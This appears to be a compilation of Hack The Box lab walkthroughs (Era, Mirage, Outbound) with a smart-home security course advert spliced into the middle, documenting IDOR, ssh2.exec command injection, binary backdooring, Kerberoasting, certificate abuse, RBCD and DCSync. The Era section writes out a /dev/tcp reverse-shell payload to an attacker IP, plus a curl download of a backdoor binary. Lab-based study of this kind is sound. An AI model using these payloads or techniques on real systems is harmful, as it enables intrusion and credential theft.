Port 80 (HTTP): Web server running Apache.
Web Enumeration:
Perform web enumeration to discover potentially exploitable directories and files.
Gobuster DNS scan on era.htb finishes with no subdomains found — clean miss on the big wordlist. Time to dig deeper or move to vhost/directory brute.
Discovering the Hidden Virtual Host with ffuf
ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) — jackpot! That’s our real target. Add to /etc/hosts and move in.
ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) — jackpot! That’s our real target. Add to /etc/hosts and move in.
ffuf with -fw 4 (filter responses with exactly 4 words) nails it — file.era.htb returns 200 + 6765 bytes while everything else 302s with tiny bodies. Clear hit, that’s our hidden subdomain. Add to hosts and go!
Exploitation
Web Application Exploration:
Accessing http://era.htb shows the Era Designs homepage—a clean marketing site with navigation (Home, Services, About, Portfolio, Clients, Team, Contact) and a hero section featuring yellow vases, a white sofa, and “SUCCESS OF YOUR BUSINESS” text with a “FIND OUT MORE” button.
Burp shows a clean GET to http://era.htb → 200 OK from nginx/1.18.0 (Ubuntu). Response is a standard Bootstrap-styled marketing page titled “Era Designs” with no forms or backend endpoints – just a static landing site. Nothing juicy here.
Clean “Welcome to Era Storage!” page with four big blue buttons: Manage Files, Upload Files, Update Security Questions, and Sign In. This is the main hub of the entire app.
Very minimal registration: only two fields – Username and Password. No email, no captcha, no security questions during signup.
Forgot-password bypass: enter username and answer the three hardcoded questions (mother’s maiden name, first pet, city of birth).
Classic centred login box with Username + Password on a blue-green gradient background – the page we’re redirected to after registration.
Successful POST to /register.php → 200 OK + automatic redirect to login.php. Account creation confirmed.
After picking a new username (e.g., “dark”), registration succeeds and the app displays: “Registration successful! Redirecting to login page…” → account creation is instant and working.
POST to /login.php with username=dark&password=admin123 returns 302 Found → Location: manage.php and sets a PHPSESSID cookie. We are now authenticated as the “dark” user.
GET to /manage.php with the same PHPSESSID cookie returns 200 OK and the full HTML of the logged-in dashboard (title: “Era – Manage”).
The main post-login page “Manage Your Files & Settings” shows:
Left sidebar: Manage Files, Upload Files, Update Security Questions, Sign Out
Main area: auto-delete timer setting, empty file list (“You haven’t uploaded any files yet.”), Reset Security Questions button This is the fully authenticated user panel — our foothold is confirmed.
Malicious PHP Upload → Direct Shell
Authenticated view of /upload.php. Simple file upload form titled “Upload Files” with a “Browse…” button (currently “No files selected.”) and a blue “Upload” button. No restrictions visible on file type or size yet.
Same upload page, but now the user has selected a harmless file named dark.txt. Shows the form ready to submit — this is just confirming normal upload functionality works.
After uploading dark.txt, the app redirects to /download.php?id=6615 and shows “Your Download Is Ready!” with the filename and a download button. Key observation: files are accessed via a numericid` parameter → classic candidate for Insecure Direct Object Reference (IDOR).
After clicking “Upload”, the app displays a green “Upload Successful!” banner and immediately provides a direct download link in the format: http://file.era.htb/download.php?id=6615 This confirms uploads work and every file gets its own numeric ID — setting the stage for IDOR testing and potential privilege escalation via file access across users.
Legitimate request to http://file.era.htb/download.php?id=6615 returns the expected “Your Download Is Ready!” page with our uploaded file dark.txt. Confirms the download endpoint works normally for files we own.
Appending ?dl=true to the same request (download.php?id=6615&dl=true) bypasses the pretty download page and triggers an immediate file download:
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=”dark.txt” This is extremely useful for scripting/automation because we get the raw file without HTML.
Quickly create a list of all possible numeric file IDs from 1 to 5000. This will be used for brute-forcing the id parameter in download.php to find other users’ files.
Database Leak & Credential Extraction
Final setup in Burp Intruder:
Target: http://file.era.htb
Payload position marked on the id parameter (id=6615 → id=§6615§)
Payload type: Numbers 1 → 5000 (simple list)
?dl=true added so every hit immediately downloads the raw file instead of showing HTML Ready to launch the attack that will download every single file ever uploaded by any user on the platform.
Burp Intruder attack against download.php?id=§§&dl=true using the 1–5000 payload list. All responses are 200 OK and exactly 7969 bytes long — including our own known file. This tells us there is no authorization check at all; every single existing file ID returns the exact same response length, meaning the server happily serves any file the numeric ID points to → confirmed horizontal Insecure Direct Object Reference (IDOR).
After confirming the IDOR on download.php?id=, we generate a list of IDs 1–5000 (seq 1 5000 > num.txt) and fuzz with ffuf, injecting our authenticated cookie and filtering out responses with exactly 3161 words (the empty download page). Only two IDs survive: 54 and 150. Both return much larger responses (~2552 words), indicating real files.
Insecure Direct Object Reference (IDOR)
Accessing http://file.era.htb/download.php?id=54 reveals the filename site-backup-30-08-24.zip. This is the full source code backup of the Era file-sharing web app, uploaded by the admin.
Response headers confirm we’re downloading the raw site-backup-30-08-24.zip (2006697 bytes). The body starts with PK header (ZIP magic bytes).
Accessing http://file.era.htb/download.php?id=150 shows signing.zip. This smaller archive contains a private key and possibly a signing script – likely for code signing or authentication.
Response forces download of signing.zip (2746 bytes). This archive contains the admin’s private key (id_rsa) and a script – the golden ticket for SSH access as the admin/user.
Source Code Review – Key Vulnerabilities Exposed in the Leak
After downloading IDs 54 and 150 via IDOR, we extract both ZIPs. One is site-backup-30-08-24.zip (clearly a website backup) and the other is signing.zip.
This is the full source code of the Era web application, straight from the admin’s upload (ID 54). Key files visible during extraction:
The database (filedb.sqlite) to dump credentials or session secrets
Exact knowledge of how the IDOR works internally
This is the live SQLite database powering the entire Era application – straight from the admin’s site backup we downloaded via IDOR.
We’ve opened the real filedb.sqlite from the site backup and immediately listed the tables. As expected:
users → stores usernames, password hashes, etc.
files → maps numeric IDs to real filenames and owners (confirms the IDOR logic)
After extracting the site backup, we opened the leaked filedb.sqlite and dumped the users table with SELECT * FROM users;. The result reveals six accounts, including the admin (ID 1) with the bcrypt hash $2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and a fake email “Maria Oliver | Ottawa”. The other five users (eric, veronica, yuri, john, ethan) also have proper bcrypt hashes. This gives us every credential on the box in plain text (hash) form, but we don’t even need to crack anything — the signing.zip we downloaded via the same IDOR already contains the admin’s SSH private key. The database dump is just the cherry on top, confirming total information disclosure and proving the IDOR let us steal every secret the application ever had. We’re now one ssh -i id_rsa admin@file.era.htb away from both flags.
Cracking the Leaked Hashes with John the Ripper
We dumped the users table into hash.txt for cracking. It contains six bcrypt hashes, including the admin’s: admin_ef01cab31aa:$2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and the other five regular users.
John instantly cracks two weak passwords:
america → eric
mustang → yuri
The rest (including admin) remain uncracked in the short run.
Both attempts fail with Connection refused.
This confirms that only key-based authentication is allowed on the box (port 22 is open but rejects password logins entirely). The weak passwords we just cracked (america, mustang) are useless for SSH — the server is correctly hardened against password auth.
Alternative way to obtain the user flag
This is the “Update Security Questions” page from the Era web app, captured while logged in as the admin (admin_ef01cab31aa). The admin literally set all three security-question answers to admin
The server happily accepted it and responded with the green banner: “If the user exists, answers have been updated — redirecting…”
This confirms that there is no validation for security-question updates. Any logged-in user can silently overwrite anyone else’s answers (including the admin’s) without knowing the old ones. Combined with the predictable username (admin_ef01cab31aa visible in the UI), this is a second, independent path to full account takeover via the forgot-password flow.
Screenshot shows a settings panel designed for managing uploaded files and controlling their retention time. At the top, an option allows automatic deletion to be enabled, letting the user choose a specific time interval and unit before files are removed. Below the settings, the interface lists existing uploaded files, such as dark.txt, which can be selected and deleted using the Delete Selected Files button. Additional options, including returning to the home page and resetting security questions, provide quick access to important account functions. Overall, the panel centralizes file management, privacy controls, and routine account maintenance.
Screenshot shows a login fallback page that allows access through security questions instead of a password. The interface displays the username along with three predefined security questions: mother’s maiden name, first pet’s name, and city of birth. Each answer field has been filled with the value admin, suggesting that the account uses weak or predictable answers. After providing the answers, the user can click Verify and Log In to gain access. Overall, the page functions as an alternative authentication method, typically intended for account recovery when the main password is unavailable.
The auto-deletion feature is enabled, configured to remove uploaded items after 10 weeks. Two files are currently present—site-backup-30-08-24.zip and signing.zip—both of which can be selected for removal using the red action button. The sidebar on the left offers quick links for browsing files, uploading new ones, modifying security questions, and signing out of the session. Overall, the page offers a simple layout for organizing uploaded content and managing basic account settings.
FTP Enumeration (Local-Only vsFTPd – Optional Side Discovery)
Attacker logs into the target’s own vsftpd service (running on 10.10.11.79) using credentials yuri:yuri. Login succeeds instantly.
Inside the FTP session, dir shows only two directories: apache2_conf and php8.1_conf. Nothing else is present.
Inside the FTP session (logged in as yuri), the attacker runs dir in the root directory and sees only four small Apache configuration files:
000-default.conf (1.3 KB)
apache2.conf (7 KB)
file.conf (222 bytes)
ports.conf (320 bytes)
Gaining User Shell – ssh2 Stream Wrapper RCE
After cd php8.1_conf, another dir reveals a long list of standard PHP 8.1 extension .so files (calendar.so, exif.so, ftp.so, pdo.so, phar.so, sqlite3.so, etc.). No interesting or custom files appear.
The internal vsFTPd instance is nothing more than a poorly chrooted service that accidentally exposes Apache configuration files and the real PHP extension directory. It provides zero writable paths, no sensitive data beyond what we already knew, and no escalation value. Just a nice confirmatory easter egg that the ssh2 extension is indeed loaded — but completely unnecessary for either the user or root compromise.
Screenshot reveals successful exploitation of an unrestricted file retrieval flaw on file.era.htb. Attacker submits a malicious GET request to download.php, weaponizing PHP’s ssh2.exec stream wrapper alongside command injection. Payload inside id parameter uses ssh2.exec://eric:america@127.0.0.1/ then pipes a base64-encoded reverse shell that instructs victim host to initiate connection toward attacker address 10.10.14.189 on port 9007. Flawed script directly feeds user-supplied input into readfile() or equivalent without validation. PHP detects ssh2.exec wrapper, authenticates locally via SSH as user eric using password america, executes hostile command, and returns resulting output (nearly empty) as response body. Web server replies with 200 OK and 136 bytes of data, confirming reverse shell triggered successfully. Exploit highlights classic stream-wrapper abuse transforming simple download vulnerability into complete remote code execution.
This second capture shows a polished version of the same remote code execution attack against download.php on file.era.htb. Attacker now places a cleaner payload inside the format parameter: ssh2.exec://eric:america@127.0.0.1/bash -c ‘bash -i >/dev/tcp/10.10.14.189/9007 0>&1’ followed by |base64 -d |bash. After URL decoding, PHP interprets the ssh2.exec wrapper, authenticates to localhost SSH as user eric using password america, runs the quoted reverse-shell command, decodes any remaining base64 payload if needed, and finally spawns an interactive bash session that connects back to 10.10.14.189:9007. Server returns HTTP 200 OK with a 153-byte body containing wrapper startup messages, confirming successful command execution. Compared to the previous attempt, this refined one-liner removes unnecessary encoding layers while remaining effective, proving the attacker now enjoys a stable reverse shell on the target system.
Attacker stuffs this tightly-encoded string into the format parameter:
Every dangerous character (< > &) appears percent-encoded, slipping past basic filters. The trailing ;true’ cleanly terminates the command and avoids breaking bash syntax. No base64 gymnastics required.
PHP dutifully opens a local SSH session as user eric with password america, runs the quoted command, and instantly redirects all shell I/O over TCP to 10.10.14.189:9007. Result: a clean, stable, fully interactive reverse shell that survives repeated use. Target machine now belongs to the attacker.
On the attack machine, netcat listens on port 9007 (nc -lvnp 9007). As soon as the final ssh2.exec payload hits download.php, the target instantly connects back from IP 10.10.11.79. Shell lands as user eric on hostname era (prompt: eric@era:~$)
Eric managed to read user.txt and obtained the flag
Escalate to Root Privileges Access
Privilege Escalation:
Eric runs sudo -l to check which sudo privileges are available. The system replies that a terminal and password are required, meaning eric has no passwordless sudo rights and cannot directly escalate using sudo.
Eric executes find / -perm 4000 2>/dev/null to hunt for SUID binaries system-wide. The command returns no results (screen stays empty), indicating no obvious SUID files exist that could be abused.
Eric navigates to /opt and runs ls. Output shows a single directory named AV. This immediately catches attention — custom software installed under /opt is a classic spot for privilege-escalation vectors on HTB machines.
Eric enters /opt/AV/periodic-checks and runs ls. Two files appear: monitor (a root-owned executable) and status.log. The presence of a root-owned binary in a writable directory strongly suggests this monitor program runs periodically as root (likely via cron) and will be the intended privilege-escalation target.
I runs strings monitor. Among normal library calls, two crucial strings appear: “[] System scan initiated…” and “[] No threats detected. Shutting down…”. These exact strings match the log entries, proving monitor is the binary executed by root during each scan.
I checks status.log in /opt/AV/periodic-checks. The log shows the monitor binary runs periodically as root, prints “[*} System scan initiated…”, then “[SUCCESS] No threats detected.” – confirming it is a scheduled root job and the real escalation target.
Custom Binary Signature Bypass
We tries to open a file called dark.c inside /dev/shm but vi fails with “command not found”. This reveals the reverse shell lacks a proper $PATH and most binaries – a common issue with raw /dev/tcp shells.
On the attacker’s local machine, the file dark.c contains a simple malicious payload: a single system() call that spawns another reverse shell back to 10.10.14.189:9007. The attacker has prepared this source code to compile and drop on the target.
On the attacker’s local machine, gcc compiles the malicious dark.c source into a statically linked binary named monitor_backdoor – a perfect drop-in replacement for the legitimate monitor program.
I uses curl http://10.10.14.189/monitor_backdoor -o monitor_backdoor to download the final backdoored binary from the attacker’s web server directly into the current directory (or /dev/shm). The transfer completes successfully (754 KB at ~1.4 MB/s).
The stage is now set: once the original monitor binary is replaced with this backdoor, the next root cron execution will instantly grant a root shell back to the attacker.
Command such as objcopy –dump-section .text_sig=sig /opt/AV/periodic-checks/monitor to extract the original monitor binary’s .text_sig section (a custom digital signature) and save it as a file called sig inside /dev/shm.
I runs objcopy –add-section .text_sig=sig monitor_backdoor, injecting the legitimate signature extracted from the real monitor into the malicious backdoored version. This preserves the signature so the root-run scanner will accept the fake binary.
To completes the attack by overwriting the legitimate monitor binary with the backdoored version: cp monitor_backdoor /opt/AV/periodic-checks/monitor The root-owned executable that runs periodically via cron is now fully replaced.
The cron job fires, executes the backdoored monitor as root, and the payload instantly triggers. Attacker catches a new reverse shell that lands directly as root@era: ~#. The box is fully compromised.
Root reads the final flag immediately after gaining the privileged shell
Smart homes are increasingly becoming common in our digital world! These smart home devices have become of the key targets of malicious hackers. This is largely due to their very weak security. In 2025, attacks on connected devices rose 400 percent, with average breach costs hitting $5.4 million
In this three-day class, we will explore and analyze the various security weaknesses of these smart home devices and protocols.
Course Outline
Introduction and Overview of Smart Home Devices
Weak Authentication on Smart Home Devices
RFID and the Smart Home Security
Bluetooth and Bluetooth LE vulnerabilities in the home
Wi-Fi vulnerabilities and how they can be leveraged to takeover all the devices in the home
LoRa vulnerabilities
IP Camera vulnerabilities
Zigbee vulnerabilities
Jamming Wireless Technologies in the Smart Home
How attackers can pivot from an IoT devices in the home to takeover your phone or computer
How to Secure Your Smart Home
This course is part of ourSubscriber Pro training package
In this writeup, we will explore the “Mirage” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Mirage” machine from Hack The Box by achieving the following objectives:
User Flag:
We kicked off with NFS, SMB, and Kerberos enumeration, mounted the open MirageReports share, and grabbed two internal PDFs. One revealed the missing hostname nats-svc.mirage.htb. We hijacked DNS with DNSadder.py, funneled all NATS traffic through our proxy, and snatched JetStream auth_logs messages — yielding valid credentials for david.jjackson. After syncing our clock with the DC, we scored a TGT, fired up Evil-WinRM, and landed on the domain controller as david.jjackson to claim the user flag.
Root Flag:
We started with david.jjackson’s ticket, and then kerberoasted nathan.aadam. After cracking his password, we gained his shell and subsequently discovered mark.bbond’s credentials. From there, we also retrieved the Mirage-Service$ managed password. With these pieces, we used Certipy to forge a DC01$ certificate, and as a result, we configured RBCD so mark.bbond could impersonate the domain controller. Once that was in place, we executed DCSync to dump all domain hashes, including Administrator. Finally, we obtained an Admin TGT and used Evil‑WinRM to open a shell as Administrator, which ultimately allowed us to claim the root flag.
Enumerating the Mirage Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 53 (DNS) – Provides internal domain resolution. Useful for discovering hostnames and performing zone transfers if misconfigured.
• Port 88 (Kerberos) – Active Directory authentication endpoint. Key for attacks like Kerberoasting or AS‑REP roasting.
• Ports 111 & 2049 (NFS) – NFS running on a Windows DC is unusual. Could allow unauthenticated mounts or expose readable files.
• Ports 135 / 139 / 445 (MSRPC / SMB) – Standard Windows services. SMB signing is enforced, which prevents NTLM relay attacks.
• Ports 389 / 636 / 3268 / 3269 (LDAP / Global Catalog) – Full AD environment. LDAP enumeration is possible if permissions are misconfigured.
• Port 464 (kpasswd) – Kerberos password change service. Can provide insights for password‑spray attempts.
• Port 593 (RPC over HTTP) – RPC over HTTP interface. Typically used for Outlook Anywhere or AD RPC proxying.
Server Enumeration:
Perform web enumeration to discover potentially exploitable directories and files.
We scanned SMB and saw the service up, but mirage.htb blocked all NTLM logins (even dark:dark failed with STATUS_NOT_SUPPORTED). Kerberos only from now on.
We added the domain/realm to /etc/krb5.conf and used -k flags everywhere — no more passwords over the wire.
NFS Share Enumeration and Mounting Process on Mirage machine
The showmount -e mirage.htb command reveals that the target is exporting an NFS share named /MirageReports, and it is accessible to everyone. This means the share does not enforce host-based restrictions, allowing any machine to mount it. Since the export is world-accessible, it’s likely a good entry point for enumeration, as you can mount the share locally and inspect its contents for sensitive files, misconfigurations, or clues leading to further access.
The mount attempt failed because the local path /mnt/mirage doesn’t exist on our machine. NFS requires a valid directory to mount a remote share, so before accessing the exported /MirageReports share, we need to create a local mount point.
Creating the directory with mkdir -p /mnt/mirage resolves the issue, allowing us to mount the share and begin enumerating its contents.
The “failed to apply fstab options” error usually comes from stale mount settings or syntax issues. Just rerun the command cleanly or add -o vers=3,nolock – it fixes the problem in HTB.
We corrected the syntax (added -o vers=3,nolock when needed) and re-ran mount -t nfs mirage.htb:/MirageReports /mnt/mirage. The share mounted perfectly and gave us full access to the internal reports.
After mounting the NFS share, ls reveals two PDFs: Incident_Report_Missing_DNS_Record_nats-svc.pdf and Mirage_Authentication_Hardening_Report.pdf. These internal reports likely expose misconfigurations and are key for further enumeration.
This command copies all files from the mounted NFS share at /mnt/mirage into your current working directory using elevated privileges. It allows you to analyze the documents locally without needing to stay connected to the NFS share.
Discovery and Analysis of Internal Reports
After copying, the files should now be available in your current working directory for further analysis.
Reviewing the Incident_Report_Missing_DNS_Record_nats-svc.pdf file revealed an additional hostname: nats-svc.mirage.htb.
Exploiting Missing DNS Entry for NATS Interception on Mirage Machine
The Incident Report showed nats-svc.mirage.htb missing from DNS → internal clients failed to resolve it. We fired up DNSadder.py, added a fake record to our proxy, and hijacked all NATS traffic → full MITM on auth and JetStream (including auth_logs).
Enumerating and Interacting With NATS JetStream
NATS is a messaging system that helps different parts of a company’s software talk to each other. Instead of applications connecting directly, they send messages through NATS, which delivers them quickly and reliably.
To install the NATS command‑line interface on Parrot OS, you can use the Go toolchain included in the system. Simply run the command go install github.com/nats-io/natscli/nats@latest, which downloads and compiles the latest version of the NATS CLI and places it in your Go binaries directory for use.
To verify that the NATS CLI installed correctly, simply run the nats command in your terminal. If the installation was successful, it should display the available subcommands and usage information, confirming that the tool is ready to use.
Checking the auth_logs Stream
nats stream info auth_logs showed a small stream (max 100 messages) on subject logs.auth that currently held 5 messages — perfect for grabbing credentials.
Creating a Pull Consumer
We created a pull consumer named whare1 on the auth_logs stream using Dev_Account_A credentials. It fetches messages one-by-one with explicit acknowledgment, allowing us to retrieve all five stored authentication logs.
Grabbing the Credentials
We fetched the five messages from the auth_logs stream using our whare1 consumer. Every message (subject logs.auth) contained the same authentication event:
Username: david.jjackson
Password: pN8kQmn6b86!1234@
Source IP: 10.10.10.20
All messages were acknowledged and consumed successfully, confirming we now have valid domain credentials.
Extracting Credentials and Kerberos Ticket Operations
The leaked david.jjackson:pN8kQmn6b86!1234@ credentials let us request a Kerberos TGT with impacket-getTGT. The first try failed due to clock skew; after sudo ntpdate -s 10.10.11.78, the second attempt succeeded and saved david.jjackson.ccache
Initial Foothold – david.jjackson Access on Mirage Machine
After syncing time with sudo ntpdate -s 10.10.11.78, the second impacket-getTGT run succeeded and gave us a valid TGT.
This command sets the KRB5CCNAME environment variable to use the david.jjackson.ccache file as the active Kerberos ticket. It tells all Kerberos‑aware tools to use this ticket automatically for authentication instead of a password.
Try running the command again if it doesn’t work on the first attempt.
Lateral Movement Using Cracked SPN Credentials
With david.jjackson’s ticket, we ran impacket-GetUserSPNs -k -no-pass and discovered a crackable Kerberos service ticket ($krb5tgs$23$) for the SPN HTTP/exchange.mirage.htb, belonging to the high-privileged user nathan.aadam (member of Exchange_Admins group).
Cracking the TGS → Password: 3edc#EDC3
We cracked the TGS hash using John and the RockYou wordlist, recovering the password 3edc#EDC3 for nathan.aadam — a weak credential that immediately granted us access to this Exchange Admins group member.
BloodHound Collection and Domain Enumeration on Mirage machine
As nathan.aadam, we ran BloodHound and dumped the entire Active Directory structure for privilege escalation path hunting.
Mark.bbond is a member of the IT Support group, and he has the ForceChangePassword privilege over the user javier.mmarshall.
Javier.mmarshall has ReadGMSAPassword permission on the account Mirage-Service$.
nxc smb dc01.mirage.htb with nathan.aadam initially failed due to clock skew (krb_ap_err_skew). After syncing time again (ntpdate -s 10.10.11.78), authentication succeeded cleanly.
Same clock skew issue hit nxc smb. After ntpdate -s 10.10.11.78, it worked instantly and confirmed valid access as nathan.aadam : 3edc#EDC3 on the DC.
We used the cracked password 3edc#EDC3 to obtain a Kerberos TGT for nathan.aadam (impacket-getTGT). The ticket was saved as nathan.aadam.ccache, giving us full Kerberos access for the next steps
Accessing the DC as nathan.aadam
Connected instantly as nathan.aadam → full PowerShell access on the Domain Controller.
Grabbing the User Flag
We can read the user flag by typing the “type user.txt” command
Escalate to Root Privileges Access on Mirage Machine
Privilege Escalation Attempts and LogonHours Analysis
We checked AD LogonHours. javier.mmarshall had all zeroes → account completely locked out (can’t log in anytime). This hinted the account was disabled but still present for potential abuse.
No default password was detected.
You can transfer the WinPEAS executable to the compromised host by running the upload command inside your Evil‑WinRM session. This pushes the file from your attack machine directly into the victim’s system, allowing you to execute it afterwards for privilege‑escalation enumeration.
No usable credentials were identified.
This command verifies SMB access on dc01.mirage.htb using Kerberos authentication with the mark.bbond credentials. The scan shows the host details and confirms a successful login, indicating that the provided password is valid and SMB authentication for this account works correctly.
The command requests a Kerberos TGT for the user MARK.BBOND using the discovered password 1day@atime. By specifying the domain controller IP, the tool authenticates against the DC and generates a valid ticket. Once successful, the resulting Kerberos ticket is saved locally as MARK.BBOND.ccache for use in later Kerberos‑based operations.
Password Resets, Kerberos Tickets, and Service Account Abuse
A password reset for the account javier.mmarshall was performed using bloodyAD. By authenticating as mark.bbond with Kerberos (-k) and supplying valid domain credentials, the command successfully updated the user’s password to p@ssw0rd123, confirming the operation completed without issues.
Attempting to obtain a TGT for the account javier.mmarshall with impacket-getTGT results in a KDC_ERR_CLIENT_REVOKED error. This indicates the credentials are no longer valid because the account has been disabled or otherwise revoked in Active Directory, preventing any Kerberos authentication from succeeding.
Enabling javier.mmarshall (disabled account)
By running the command shown above, the password update completed successfully.
As mark.bbond, we used BloodyAD to read the msDS-ManagedPassword attribute of the Mirage-Service$ managed service account and instantly retrieved its current plaintext password + NTLM hash.
We used Impacket to request a Kerberos TGT for Mirage-Service$ with its leaked NTLM hash (pass-the-hash). This gave us a valid ticket without ever needing the plaintext password.
We asked the domain CA for a certificate using mark.bbond (now pretending to be dc01$). The CA accepted it and gave us a shiny dc01.pfx file that lets us log in as the real domain controller machine account.
After exporting the Kerberos ticket with export KRB5CCNAME=mark.bbond.ccache, a certificate request is made using Certipy
We requested a certificate for mark.bbond (UPN = dc01$@mirage.htb). The CA issued it without issues → dc01.pfx ready for authentication as the DC machine account.
We cleaned up by resetting mark.bbond’s UPN back to mark.bbond@mirage.htb with Certipy – leaving no obvious traces.
Certificate Abuse and Resource-Based Constrained Delegation (RBCD)
With the dc01.pfx certificate, Certipy authenticated us over LDAPS as MIRAGE\DC01$ – we now had full LDAP control as the domain controller itself.
We used Certipy to grant mark.bbond Resource-Based Constrained Delegation over DC01$ – now mark.bbond can impersonate anyone (including Administrator) to the domain controller.
As mark.bbond, we ran impacket-getST to impersonate DC01$ and request a CIFS ticket for the real DC. Delegation succeeded → valid ticket saved.
The Kerberos ticket was set as the active credential cache by exporting it to the KRB5CCNAME environment variable:
With the delegated CIFS ticket, we executed impacket-secretdump -k dc01.mirage.htb and successfully dumped the entire NTDS.DIT — every user and machine hash, including Administrator’s, was now ours.
The impacket-getTGT command was executed using the Administrator NTLM hash to request a Kerberos TGT from the Mirage domain controller. The request completed successfully, and the resulting ticket was saved locally as Administrator.ccache.
The evil-winrm command was used to connect to dc01.mirage.htb with Kerberos authentication. Evil‑WinRM initialized successfully, displaying standard warnings about Ruby’s path‑completion limitations and noting that the provided username is unnecessary when a Kerberos ticket is already available. The session then proceeded to establish a connection with the remote host.
We can read the root flag by typing the “type root.txt” command
In this write-up, we will explore the “Outbound” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Outbound” machine from Hack The Box by achieving the following objectives:
User Flag:
The initial foothold was achieved by exploiting CVE‑2025‑49113 in Roundcube version 1.6.10 using Tyler’s valid credentials. This vulnerability in the file upload feature allowed remote code execution, enabling a reverse shell that was upgraded to a fully interactive shell. Investigation of the Roundcube configuration revealed the database credentials, which were used to access the MariaDB instance. Within the database, Jacob’s encrypted session data was located and decrypted using the known DES key, revealing his plaintext password. Using this password, SSH authentication was successful, providing access to Jacob’s environment and allowing the retrieval of the user flag.
Root Flag:
Privilege escalation was identified through sudo -l, which showed that the user could execute /usr/bin/below. Research revealed that the installed version of below is vulnerable to CVE‑2025‑27591, which involves a world-writable /var/log/below directory with permissions set to 0777. Exploiting this vulnerability using the publicly available Python PoC allowed execution of commands as root. Leveraging this access, the root flag was retrieved by reading the /root/root.txt file.
Enumerating the Outbound Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22: Running OpenSSH 9.6p1, providing secure remote access.
Port 80: Running nginx 1.24.0, redirecting to the Roundcube webmail portal.
Web Application Exploration:
Accessing the http://mail.outbound.htb portal reveals a Roundcube Webmail interface. We can proceed to log in using the provided credentials.
Entering the Tyler credentials allows us to access the Roundcube Webmail interface.
After accessing the email portal, the inbox appears to be empty.
Roundcube Webmail 1.6.10 service enumeration and analysis on Outbound machine
After logging in, the first step is to check the Roundcube version. In this case, it is running version 1.6.10.
Another way to verify the version is by checking the information embedded in the page’s source code.
After doing some research, I discovered that this version is affected by a known vulnerability, identified as CVE-2025-49113.
CVE‑2025‑49113: Critical Vulnerability in Roundcube on Outbound machine
CVE‑2025‑49113 is a serious vulnerability in Roundcube Webmail versions up to 1.5.9 and 1.6.10. It occurs in the upload.php feature, where certain input parameters are not properly validated. An attacker with valid user credentials can exploit this flaw to execute arbitrary code on the server by sending a specially crafted payload. This can allow the attacker to run commands, install backdoors, or take further control of the system. The vulnerability is particularly dangerous because it requires minimal technical effort once credentials are obtained, and proof-of-concept exploits are publicly available. Applying the patched versions 1.5.10 or 1.6.11 and above is necessary to secure the system.
How the Exploit Works
The script begins by checking whether the Roundcube instance is running a vulnerable version. If it is, it continues with the login process. Once authenticated, it uploads a normal-looking PNG file to the server. During this upload, the exploit carries out two key injections: one targeting the PHP session via the _from parameter in the URL, and another that slips a malicious object into the filename field of the _file parameter. When combined, these injections trigger code execution on the server, allowing the attacker to execute commands remotely.
This command runs the exploit script and requires four arguments: the target Roundcube URL, a valid username, the corresponding password, and the system command you want the server to execute.
The upload went through successfully.
Unfortunately, it didn’t produce any outcome.
I changed the payload to use a base64‑encoded command.
I couldn’t locate any files related to the configuration.
Since the application uses Roundcube, let’s check for the configuration file at /var/www/html/roundcube/config/config.inc.php.
This configuration file defines the essential settings for the Roundcube Webmail installation. It specifies the MySQL database connection using the credentials roundcube:RCDBPass2025 on the local database server, which Roundcube relies on to store its data. The file also sets the IMAP and SMTP servers to localhost on ports 143 and 587, meaning both incoming and outgoing mail services run locally, and Roundcube uses the user’s own login credentials for SMTP authentication. The product name is set to Roundcube Webmail, and the configuration includes a 24‑character DES key used for encrypting IMAP passwords in session data. Additionally, the installation enables the archive and zipdownload plugins and uses the elastic skin for its interface. Overall, this file contains the key operational and security‑sensitive parameters needed for Roundcube to function.
The commands show a successful login to the MariaDB database using the roundcube user account with the password RCDBPass2025. After entering the password, access to the MariaDB monitor is granted, allowing the user to execute SQL commands. The prompt confirms that the server is running MariaDB version 10.11.13 on Ubuntu 24.04, and provides standard information about the database environment, including copyright details and basic usage instructions. This access enables management of the Roundcube database, including querying, updating, or modifying stored data.
The commands demonstrate exploring the MariaDB instance after logging in as the roundcube user. First, show databases; lists all databases on the server, revealing the default information_schema and the roundcube database, which stores the webmail application’s data. Next, use roundcube; switches the context to the Roundcube database, allowing operations within it. Running show tables; displays all the tables in the database, totaling 17, which include tables for caching (cache, cache_index, cache_messages, etc.), email contacts (contacts, contactgroups, contactgroupmembers), user identities (identities, users), and other operational data (session, system, filestore, responses, searches). These tables collectively manage Roundcube’s functionality, storing user accounts, session data, cached messages, and other configuration or runtime information necessary for the webmail system.
This snippet appears to be a serialized Roundcube session or user configuration for the account jacob. It stores settings such as the user ID, username, encrypted password, IMAP server details (localhost:143), mailbox information (e.g., INBOX with 2 unseen messages), session tokens, authentication secret, timezone (Europe/London), UI preferences like skin and layout, and other session-related flags. Essentially, it contains all the data Roundcube needs to manage the user’s session, mailbox view, and preferences while interacting with the webmail interface.
Creating a Python script to recover the plaintext password from encrypted session data.
